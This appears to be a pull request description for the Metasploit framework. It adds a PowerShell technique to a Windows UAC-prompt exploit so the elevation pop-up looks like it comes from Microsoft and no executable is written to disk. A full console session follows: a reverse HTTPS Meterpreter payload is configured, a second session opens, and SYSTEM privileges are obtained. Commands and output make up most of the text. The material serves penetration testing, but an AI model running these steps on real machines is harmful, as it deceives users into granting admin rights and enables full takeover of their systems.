Added PSH option to windows/local/ask exploit

Gives you the ability to use powershell to 'ask' for admin rights if the user has them.  Using powershell makes the pop up blue instead of orange and states that the company is Microsoft, it also doesn't drop an exe on the system.  Looks like 32 bit https works but if you migrate out you lose priv and if you run cachedump the session hangs.

```

msf exploit(handler) > 
[*] Sending stage (770048 bytes) to 192.168.1.202
[*] Meterpreter session 1 opened (192.168.1.202:7777 -> 192.168.1.202:53470) at 2013-10-18 23:35:20 -0700

msf exploit(handler) > sessions -i 1 
[*] Starting interaction with 1...

meterpreter > getsystem 
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > background 
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ask 
msf exploit(ask) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(ask) > set LHOST 192.168.1.202
LHOST => 192.168.1.202
msf exploit(ask) > set LPORT 4444
LPORT => 4444
msf exploit(ask) > set TECHNIQUE PSH 
TECHNIQUE => PSH
msf exploit(ask) > set SESSION 1 
SESSION => 1
msf exploit(ask) > exploit 

[*] Started HTTPS reverse handler on https://192.168.1.202:4444/
[*] UAC is Enabled, checking level...
[!] UAC is set to Default
[!] The user will be prompted, wait for them to click 'Ok'
[*] 192.168.1.202:41791 Request received for /ui8F...
[*] 192.168.1.202:41791 Staging connection for target /ui8F received...
[*] Patched user-agent at offset 657384...
[*] Patched transport at offset 657044...
[*] Patched URL at offset 657112...
[*] Patched Expiration Timeout at offset 657868...
[*] Patched Communication Timeout at offset 657984...
[*] Meterpreter session 2 opened (192.168.1.202:4444 -> 192.168.1.202:41791) at 2013-10-18 23:36:57 -0700

meterpreter > getsystem 
...got system (via technique 1).
meterpreter > 

```